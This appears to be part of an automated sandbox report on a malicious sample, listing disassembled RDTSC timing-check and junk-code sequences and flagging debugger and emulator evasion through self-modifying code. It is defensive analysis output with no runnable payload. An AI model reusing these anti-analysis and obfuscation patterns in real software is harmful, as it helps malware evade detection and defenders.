Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F5CC61 second address: F5CC87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52D87EB834h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push ebx 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F5CC87 second address: F5CC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F5CDFA second address: F5CE22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB834h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F52D87EB82Eh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F5CE22 second address: F5CE2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F52D91A3356h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F5FE8A second address: F5FF18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 2CAC8C8Fh 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F52D87EB828h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 cmc 0x00000029 jnp 00007F52D87EB826h 0x0000002f push 00000003h 0x00000031 stc 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+122D1E8Fh], ebx 0x0000003a push 00000003h 0x0000003c mov esi, 35B532B0h 0x00000041 call 00007F52D87EB829h 0x00000046 jmp 00007F52D87EB82Bh 0x0000004b push eax 0x0000004c jne 00007F52D87EB838h 0x00000052 mov eax, dword ptr [esp+04h] 0x00000056 jmp 00007F52D87EB82Ah 0x0000005b mov eax, dword ptr [eax] 0x0000005d push ecx 0x0000005e push eax 0x0000005f push edx 0x00000060 js 00007F52D87EB826h 0x00000066 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F5FF18 second address: F5FF60 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F52D91A3356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push esi 0x00000010 jnp 00007F52D91A3361h 0x00000016 pop esi 0x00000017 pop eax 0x00000018 mov esi, eax 0x0000001a lea ebx, dword ptr [ebp+12454CCDh] 0x00000020 mov esi, 00D17186h 0x00000025 push eax 0x00000026 pushad 0x00000027 jmp 00007F52D91A335Eh 0x0000002c push eax 0x0000002d push edx 0x0000002e jl 00007F52D91A3356h 0x00000034 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F5FFD8 second address: F6003A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push ecx 0x0000000a jnc 00007F52D87EB82Ch 0x00000010 pop ecx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F52D87EB828h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d jmp 00007F52D87EB835h 0x00000032 push 5B8C64B4h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a jmp 00007F52D87EB82Ah 0x0000003f push esi 0x00000040 pop esi 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F6003A second address: F600E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A335Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 5B8C6434h 0x00000010 mov edx, 46E685CBh 0x00000015 push 00000003h 0x00000017 sub si, DBB4h 0x0000001c push 00000000h 0x0000001e cmc 0x0000001f push 00000003h 0x00000021 mov dword ptr [ebp+122D2800h], esi 0x00000027 mov dword ptr [ebp+122D3A9Ch], esi 0x0000002d push A2DA3D41h 0x00000032 jmp 00007F52D91A3369h 0x00000037 add dword ptr [esp], 1D25C2BFh 0x0000003e push 00000000h 0x00000040 push ebx 0x00000041 call 00007F52D91A3358h 0x00000046 pop ebx 0x00000047 mov dword ptr [esp+04h], ebx 0x0000004b add dword ptr [esp+04h], 00000014h 0x00000053 inc ebx 0x00000054 push ebx 0x00000055 ret 0x00000056 pop ebx 0x00000057 ret 0x00000058 mov si, 0AEEh 0x0000005c movzx esi, dx 0x0000005f lea ebx, dword ptr [ebp+12454CD6h] 0x00000065 mov cl, 0Ah 0x00000067 xchg eax, ebx 0x00000068 pushad 0x00000069 pushad 0x0000006a push ebx 0x0000006b pop ebx 0x0000006c jmp 00007F52D91A3360h 0x00000071 popad 0x00000072 push edx 0x00000073 jp 00007F52D91A3356h 0x00000079 pop edx 0x0000007a popad 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e push eax 0x0000007f push edx 0x00000080 pushad 0x00000081 popad 0x00000082 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F600E2 second address: F600EC instructions: 0x00000000 rdtsc 0x00000002 js 00007F52D87EB826h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F600EC second address: F600F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F600F2 second address: F600F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F60198 second address: F60227 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A3362h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b ja 00007F52D91A335Eh 0x00000011 nop 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D2683h], ecx 0x0000001a push ADC9903Dh 0x0000001f push ebx 0x00000020 jmp 00007F52D91A3361h 0x00000025 pop ebx 0x00000026 add dword ptr [esp], 52367043h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007F52D91A3358h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 00000015h 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 mov dword ptr [ebp+122D1CBDh], eax 0x0000004d push 00000003h 0x0000004f push 00000000h 0x00000051 mov ecx, 4294AD7Fh 0x00000056 push 00000003h 0x00000058 push ecx 0x00000059 xor ch, 0000007Eh 0x0000005c pop edx 0x0000005d call 00007F52D91A3359h 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F60227 second address: F60260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F52D87EB82Ch 0x0000000c popad 0x0000000d push eax 0x0000000e jnc 00007F52D87EB83Dh 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push edx 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F60260 second address: F6028F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 jl 00007F52D91A3367h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push ecx 0x00000014 jp 00007F52D91A3356h 0x0000001a pop ecx 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F6028F second address: F602AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pop eax 0x00000007 and dx, 1111h 0x0000000c lea ebx, dword ptr [ebp+12454CE1h] 0x00000012 add dword ptr [ebp+122D33B2h], ecx 0x00000018 push eax 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F602AC second address: F602BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F52D91A3356h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F70EA8 second address: F70EBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F52D87EB826h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7F8C9 second address: F7F8CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7F8CF second address: F7F8D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7DD43 second address: F7DD54 instructions: 0x00000000 rdtsc 0x00000002 je 00007F52D91A3356h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7DFC2 second address: F7DFC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7E278 second address: F7E287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jo 00007F52D91A3356h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7E518 second address: F7E520 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7E7FC second address: F7E806 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F52D91A3356h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7E806 second address: F7E80A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7E80A second address: F7E81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F52D91A3356h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7E81C second address: F7E822 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7E822 second address: F7E82E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7E82E second address: F7E864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F52D87EB838h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F52D87EB82Fh 0x00000013 jg 00007F52D87EB826h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7F199 second address: F7F19F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7F70B second address: F7F77D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F52D87EB82Fh 0x0000000d push ebx 0x0000000e jmp 00007F52D87EB835h 0x00000013 jmp 00007F52D87EB831h 0x00000018 pop ebx 0x00000019 pushad 0x0000001a jmp 00007F52D87EB82Eh 0x0000001f jng 00007F52D87EB826h 0x00000025 jmp 00007F52D87EB831h 0x0000002a jng 00007F52D87EB826h 0x00000030 popad 0x00000031 popad 0x00000032 push ecx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F7F77D second address: F7F781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F88DA3 second address: F88DAD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F52D87EB826h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F8B604 second address: F8B608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F8BC4B second address: F8BC6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F52D87EB830h 0x00000008 jl 00007F52D87EB826h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F8BDDD second address: F8BDE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F8BDE8 second address: F8BDF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F8BDF0 second address: F8BE0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A3363h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F8BE0D second address: F8BE37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F52D87EB826h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007F52D87EB838h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F8F69E second address: F8F6BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f jmp 00007F52D91A335Eh 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F8F6BC second address: F8F6CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52D87EB82Fh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F8F6CF second address: F8F6F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A3360h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jns 00007F52D91A3356h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F8F6F5 second address: F8F6FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F90820 second address: F90837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F52D91A3358h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F90EAA second address: F90EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F90EB0 second address: F90EB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F93291 second address: F93295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F93295 second address: F9329B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F9541E second address: F95424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F9741F second address: F97423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F9CFDE second address: F9CFE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F52D87EB826h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F9F1FA second address: F9F200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F9F200 second address: F9F204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F9F204 second address: F9F2A7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F52D91A3365h 0x0000000f jo 00007F52D91A3358h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F52D91A3358h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 cmc 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007F52D91A3358h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 00000014h 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 mov ebx, dword ptr [ebp+122D58A2h] 0x00000056 jmp 00007F52D91A3365h 0x0000005b push 00000000h 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F52D91A3368h 0x00000065 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F9F2A7 second address: F9F2B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52D87EB82Ah 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: FA0237 second address: FA023C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: FA023C second address: FA0242 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: FA0242 second address: FA029E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a jmp 00007F52D91A3365h 0x0000000f pop ebx 0x00000010 nop 0x00000011 mov edi, 472BBF18h 0x00000016 push 00000000h 0x00000018 mov bl, 3Ch 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F52D91A3358h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000019h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 js 00007F52D91A335Ch 0x0000003f jbe 00007F52D91A3356h 0x00000045 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: FA029E second address: FA02BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F52D87EB82Fh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F998F4 second address: F998FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F998FA second address: F99918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F52D87EB82Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F52D87EB82Ah 0x00000014 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: FA1203 second address: FA1207 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: FA1207 second address: FA1210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: FA1210 second address: FA1284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F52D91A3358h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D27AEh], ebx 0x00000029 or bx, 2677h 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D2683h], esi 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F52D91A3358h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 00000019h 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 movzx edi, ax 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F52D91A335Bh 0x0000005d rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: FA1284 second address: FA12A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB834h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jo 00007F52D87EB82Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: FA3240 second address: FA3261 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F52D91A3356h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F52D91A3369h 0x00000012 jmp 00007F52D91A335Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F46B30 second address: F46B3F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F52D87EB826h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C4FAA9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C4D4C6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E227C1 instructions caused by: Self-modifying code
